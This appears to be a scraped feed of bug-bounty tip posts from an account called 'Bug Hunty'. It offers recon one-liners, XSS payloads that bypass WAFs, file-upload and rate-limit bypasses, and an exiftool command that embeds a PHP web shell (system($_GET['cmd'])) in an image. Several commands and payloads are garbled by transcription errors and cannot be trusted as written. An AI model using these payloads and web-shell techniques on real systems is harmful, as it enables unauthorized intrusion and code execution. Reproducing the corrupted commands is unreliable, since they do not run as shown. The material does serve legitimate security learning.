Bug Hunty

#bugbounty #bugbountytips #hountybounty

[Bug Hunty @bughunty]

Extract URLs/Endpoints:

curl https://t.co/V3QI3gvZBa -s | sed s/href=/"endpoint:"/g | sed s/" "/"\n"/g | tr "<>" "\n" | grep endpoint:

curl https://t.co/V3QI3gvZBa -s | sed s/src=/"endpoint:"/g | sed s/" "/"\n"/g | tr "<>" "\n" | grep endpoint:

#bugbounty #bugbountytips

[Bug Hunty @bughunty]

One Liner for XSS:

gospider -S targets urls.txt -c 10-d 5 --blacklist "
jpgljpeglgif|css|tif|tiff|png|ttf|woff|woff2|ico|pdfIsvg/txt)"--other-source | grep -e "code-200" | awk *(print $5)'| grep "=" | qsreplace -a | dalfox pipe -o
output.txt

#bugbounty #bugbountytips

[Bug Hunty @bughunty]

Oneliner waybackurls validator

waybackurls https://t.co/ABtJsxtoOT | grep "url" I xargs -n 1 curl -s -0 /dev/null -
(http_code} > %furl_effective)\n" | sort

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Quick way to request 1000 of URLs in burp without crashing your browser

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Memory dump and env disclosure

shodan search org: "Target" http.favicon.hash:116323821
-fields ip_str,port--separator
"| awk '{print $1".:"$2)'
while read host do ;do ffuf -u http:/ /$host/FUZZ -mc
200 -w spring-boot.txt ;done

#bugbounty #bugbountytips #cybersecurity

[Bug Hunty @bughunty]

Happy May 19th, Commemoration of Atatürk, Youth and Sports Day!

#19thMay #BugHunty #HountyBounty

[Bug Hunty @bughunty]

Imperva Waf XSS ByPass

Payload : «sVg
OnPointerEnter= "location= lavas + cript:ale + 'rt%2 + '81%2° +9%//</div">

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

HTTP Request

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Unique github dorks for finding hidden secrets

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Find massive bXSS vulner

§ assetfinder [host] | hakrawler -plain -usewayback -wayback | grep "=" I
egrep-iv".Upglipeglgif|cssitif|tiff|png|ttfwofflwoff2lico|pdfIsvg|txt|js)"I
asreplace -a dalfox pipe -b https://t.co/Cjj5xs2zhy -o out.txt

#bugbounty #bugbountytips #cybersecurity

[Bug Hunty @bughunty]

Find sensitive information disclosure with gf by this patterns

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Extension list for file upload bugs

ASP: "asox" "config" "ashx", "asmx", "aspa"
"axd". "cshtm". "cshtml",
"rem", "soap", "vbhtm", "vbhtml", "asa", "asp", "cer", "shtml"

PHP: php, php5, php3, php2, shtml, html, .php.png(double extension attack)

#bugbounty #bugbountytips

[Bug Hunty @bughunty]

Easy Automation XSS Tip

cat subdomains.txt | waybackurls >> wayback.txt

cat subdomains.txt | hakrawler -depth 3 -plain >> spider.txt

cat spider.txt wayback.txt | kxss

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

DOS and UNIX commands

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

When you're brute forcing for endpoints, don't forget
to add extensions. You can also use this method to
discover backup files

dirsearch-e
php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,log,xml,js,json,old,db,sql -u <target>

#bugbounty #bugbountytips #cybersecurity #pentest

[Bug Hunty @bughunty]

Bypassing most file uploads filters

* htaccess <- upload htaccess
* file.svg <- uploading svg = XSS
* file.SVg <- must try case mismatch
* file.png.svg
* file.php%00.png
* file.png' or '1'='1
*_/./file.png
* file. svg <- invalid ext

#bugbounty #bugbountytips #cybersecurity

[Bug Hunty @bughunty]

onXXX -> blocked by WAF

<a href -> blocked
«script -> blocked

«form action=javascript:alert(1)>
<input type=submit />
</form>

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Bypass no rate limit

1 add %00 at the end of mail in intruder whenever error 429 comes
Or %2e,%0d %0a
2 add X-Forwarded-For: 127.0.0.1
If rate limit is based on ip use ip rotator burp extention

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

Bypass File Upload Filtering

In image:
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>'
shell.jpg
mv shell.jpg shell.php.jpg

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking

[Bug Hunty @bughunty]

No more noise in your logs!

Burp Suite > Proxy > Options > TLS Pass Through.
Add these:
*.google\.com
.*.gstatic).com
*.mozilla\.com
.*\.googleapis\.com
*.pkil.goog

#bugbounty #bugbountytips #cybersecurity #pentesting #hacking